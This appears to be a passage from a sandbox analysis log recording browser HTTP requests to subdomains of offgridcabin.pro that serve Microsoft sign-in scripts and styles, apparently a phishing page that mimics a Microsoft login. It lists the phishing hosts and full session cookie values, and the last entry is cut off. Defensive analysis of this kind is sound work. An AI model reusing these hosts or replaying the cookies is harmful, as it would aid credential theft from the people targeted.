esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
Source: global traffic	HTTP traffic detected: GET /?auth=2&sso_reload=true HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6e4vjNwAQAAAC50F98OAAAA
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.prosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6e4vjNwAQAAAC50F98OAAAA
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; 